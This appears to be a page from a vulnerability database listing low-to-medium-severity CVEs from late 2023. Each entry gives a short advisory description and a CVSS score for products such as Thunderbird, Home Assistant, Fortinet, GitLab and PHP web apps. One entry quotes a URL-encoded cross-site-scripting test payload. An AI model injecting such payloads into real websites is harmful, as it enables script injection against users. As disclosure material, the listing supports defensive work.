CVE-2023-50779	Missing permission checks in Jenkins PaaSLane Estimate Plugin 1.0.4 and earlier allow attackers with Overall/Read permission to connect to an attacker-specified URL using an attacker-specified token.	4.3	More Details
CVE-2023-50761	The signature of a digitally signed S/MIME email message may optionally specify the signature creation date and time. If present, Thunderbird did not compare the signature creation date with the message date and time, and displayed a valid signature despite a date or time mismatch. This could be used to give recipients the impression that a message was sent at a different date or time. This vulnerability affects Thunderbird < 115.6.	4.3	More Details
CVE-2023-50715	Home Assistant is open source home automation software. Prior to version 2023.12.3, the login page discloses all active user accounts to any unauthenticated browsing request originating on the Local Area Network. Version 2023.12.3 contains a patch for this issue. When starting the Home Assistant 2023.12 release, the login page returns all currently active user accounts to browsing requests from the Local Area Network. Tests showed that this occurs when the request is not authenticated and the request originated locally, meaning on the Home Assistant host local subnet or any other private subnet. The rationale behind this is to make the login more user-friendly and an experience better aligned with other applications that have multiple user-profiles. However, as a result, all accounts are displayed regardless of them having logged in or not and for any device that navigates to the server. This disclosure is mitigated by the fact that it only occurs for requests originating from a LAN address. But note that this applies to the local subnet where Home Assistant resides and to any private subnet that can reach it.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48755	Cross-Site Request Forgery (CSRF) vulnerability in Michael Winkler teachPress.This issue affects teachPress: from n/a through 9.0.4.	4.3	More Details
CVE-2023-48393	Kaifa Technology WebITR is an online attendance system. A remote attacker with regular user privilege can obtain partial sensitive system information from error message.	4.3	More Details
CVE-2023-6766	A vulnerability classified as problematic has been found in PHPGurukul Teacher Subject Allocation Management System 1.0. Affected is an unknown function of the file /admin/course.php of the component Delete Course Handler. The manipulation of the argument delid leads to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-247896.	4.3	More Details
CVE-2023-50871	In JetBrains YouTrack before 2023.3.22268 authorization check for inline comments inside thread replies was missed	4.3	More Details
CVE-2023-6135	Multiple NSS NIST curves were susceptible to a side-channel attack known as "Minerva". This attack could potentially allow an attacker to recover the private key. This vulnerability affects Firefox < 121.	4.3	More Details
CVE-2023-50762	When processing a PGP/MIME payload that contains digitally signed text, the first paragraph of the text was never shown to the user. This is because the text was interpreted as a MIME message and the first paragraph was always treated as an email header section. A digitally signed text from a different context, such as a signed GIT commit, could be used to spoof an email message. This vulnerability affects Thunderbird < 115.6.	4.3	More Details
CVE-2023-6767	A vulnerability, which was classified as problematic, was found in SourceCodester Wedding Guest e-Book 1.0. This affects an unknown part of the file /endpoint/add-guest.php. The manipulation of the argument name leads to cross site scripting. It is possible to initiate the attack remotely. The associated identifier of this vulnerability is VDB-247899.	4.3	More Details
CVE-2023-48766	Cross-Site Request Forgery (CSRF) vulnerability in SVGator SVGator – Add Animated SVG Easily.This issue affects SVGator – Add Animated SVG Easily: from n/a through 1.2.4.	4.3	More Details
CVE-2023-1904	In affected versions of Octopus Server it is possible for the OpenID client secret to be logged in clear text during the configuration of Octopus Server.	4.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50710	Hono is a web framework written in TypeScript. Prior to version 3.11.7, clients may override named path parameter values from previous requests if the application is using TrieRouter. So, there is a risk that a privileged user may use unintended parameters when deleting REST API resources. TrieRouter is used either explicitly or when the application matches a pattern that is not supported by the default RegExpRouter. Version 3.11.7 includes the change to fix this issue. As a workaround, avoid using TrieRouter directly.	4.2	More Details
CVE-2023-45864	A race condition issue discovered in Samsung Mobile Processor Exynos 9820, 980, 1080, 2100, 2200, 1280, and 1380 allows unintended modifications of values within certain areas.	4.0	More Details
CVE-2023-32726	The vulnerability is caused by improper check for check if RDLENGTH does not overflow the buffer in response from DNS server.	3.9	More Details
CVE-2023-6918	A flaw was found in the libssh implements abstract layer for message digest (MD) operations implemented by different supported crypto backends. The return values from these were not properly checked, which could cause low-memory situations failures, NULL dereferences, crashes, or usage of the uninitialized memory as an input for the KDF. In this case, non-matching keys will result in decryption/integrity failures, terminating the connection.	3.7	More Details
CVE-2023-28022	HCL Connections is vulnerable to an information disclosure vulnerability which could allow a user to obtain sensitive information they are not entitled to, caused by improper handling of request data.	3.5	More Details
CVE-2023-48608	Adobe Experience Manager versions 6.5.18 and earlier are affected by an Improper Input Validation vulnerability. A low-privileged attacker could leverage this vulnerability to achieve a low-integrity impact within the application. Exploitation of this issue requires user interaction.	3.5	More Details
CVE-2023-6775	A vulnerability was found in CodeAstro POS and Inventory Management System 1.0. It has been classified as problematic. This affects an unknown part of the file /item/item_con. The manipulation of the argument item_name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247911.	3.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6896	A vulnerability was found in SourceCodester Simple Image Stack Website 1.0. It has been rated as problematic. This issue affects some unknown processing. The manipulation of the argument search with the input sy2ap%22%3e%3cscript%3ealert(1)%3c%2fscript%3etkxh1 leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248255.	3.5	More Details
CVE-2023-41844	A improper neutralization of input during web page generation ('cross-site scripting') in Fortinet FortiSandbox version 4.4.1 and 4.4.0 and 4.2.0 through 4.2.5 and 4.0.0 through 4.0.3 and 3.2.0 through 3.2.4 and 3.1.0 through 3.1.5 and 3.0.0 through 3.0.4 allows attacker to execute unauthorized code or commands via crafted HTTP requests in capture traffic endpoint.	3.5	More Details
CVE-2023-45587	An improper neutralization of input during web page generation ('cross-site scripting') in Fortinet FortiSandbox version 4.4.1 and 4.4.0 and 4.2.0 through 4.2.5 and 4.0.0 through 4.0.3 and 3.2.0 through 3.2.4 and 3.1.0 through 3.1.5 allows attacker to execute unauthorized code or commands via crafted HTTP requests	3.5	More Details
CVE-2023-6228	An issue was found in the tiffcp utility distributed by the libtiff package where a crafted TIFF file on processing may cause a heap-based buffer overflow leads to an application crash.	3.3	More Details
CVE-2023-6381	Improper input validation vulnerability in Newsletter Software SuperMailer affecting version 11.20.0.2204. An attacker could exploit this vulnerability by sending a malicious configuration file (file with SMB extension) to a user via a link or email attachment and persuade the user to open the file with the affected software on the local system. A successful exploit could allow the attacker to crash the application when attempting to load the malicious file.	3.3	More Details
CVE-2023-47536	An improper access control vulnerability [CWE-284] in FortiOS version 7.2.0, version 7.0.13 and below, version 6.4.14 and below and FortiProxy version 7.2.3 and below, version 7.0.9 and below, version 2.0.12 and below may allow a remote unauthenticated attacker to bypass the firewall deny geolocalisation policy via timing the bypass with a GeoIP database update.	3.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6908	A vulnerability, which was classified as problematic, was found in DFIRKuiper Kuiper 2.3.4. This affects the function unzip_file of the file kuiper/app/controllers/case_management.py of the component TAR Archive Handler. The manipulation of the argument dst_path leads to path traversal. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. Upgrading to version 2.3.5 is able to address this issue. The identifier of the patch is 94fa135153002f651f5526c55a7240e083db8d73. It is recommended to upgrade the affected component. The identifier VDB-248277 was assigned to this vulnerability.	3.1	More Details
CVE-2023-22439	Improper input validation of a large HTTP request in the Controller 6000 and Controller 7000 optional diagnostic web interface (Port 80) can be used to perform a Denial of Service of the diagnostic web interface. This issue affects: Gallagher Controller 6000 and 7000 8.90 prior to vCR8.90.231204a (distributed in 8.90.1620 (MR2)), 8.80 prior to vCR8.80.231204a (distributed in 8.80.1369 (MR3)), 8.70 prior to vCR8.70.231204a (distributed in 8.70.2375 (MR5)), 8.60 prior to vCR8.60.231116a (distributed in 8.60.2550 (MR7)), all versions of 8.50 and prior.	3.1	More Details
CVE-2023-6793	An improper privilege management vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-only administrator to revoke active XML API keys from the firewall and disrupt XML API usage.	2.7	More Details
CVE-2023-6945	A vulnerability has been found in SourceCodester Online Student Management System 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file edit-student-detail.php. The manipulation of the argument notmsg leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248377 was assigned to this vulnerability.	2.4	More Details
CVE-2023-41967	Sensitive information uncleared after debug/power state transition in the Controller 6000 could be abused by an attacker with knowledge of the Controller's default diagnostic password and physical access to the Controller to view its configuration through the diagnostic web pages. This issue affects: Gallagher Controller 6000 8.70 prior to vCR8.70.231204a (distributed in 8.70.2375 (MR5)), v8.60 or earlier.	2.4	More Details
CVE-2023-3511	An issue has been discovered in GitLab EE affecting all versions starting from 8.17 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. It was possible for auditor users to fork and submit merge requests to private projects they're not a member of.	2.0	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-27171	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.	N/A	More Details
CVE-2023-31813	Rejected reason: DO NOT USE THIS CVE RECORD. ConsultIDs: CVE-2023-2804. Reason: This record is a duplicate of CVE-2023-2804. Notes: All CVE users should reference CVE-2023-2804 instead of this record. All references and descriptions in this record have been removed to prevent accidental usage.	N/A	More Details
CVE-2023-6920	Rejected reason: This flaw was found to be a duplicate of CVE-2023-6927. Please see https://access.redhat.com/security/cve/CVE-2023-6927 for information about affected products and security errata.	N/A	More Details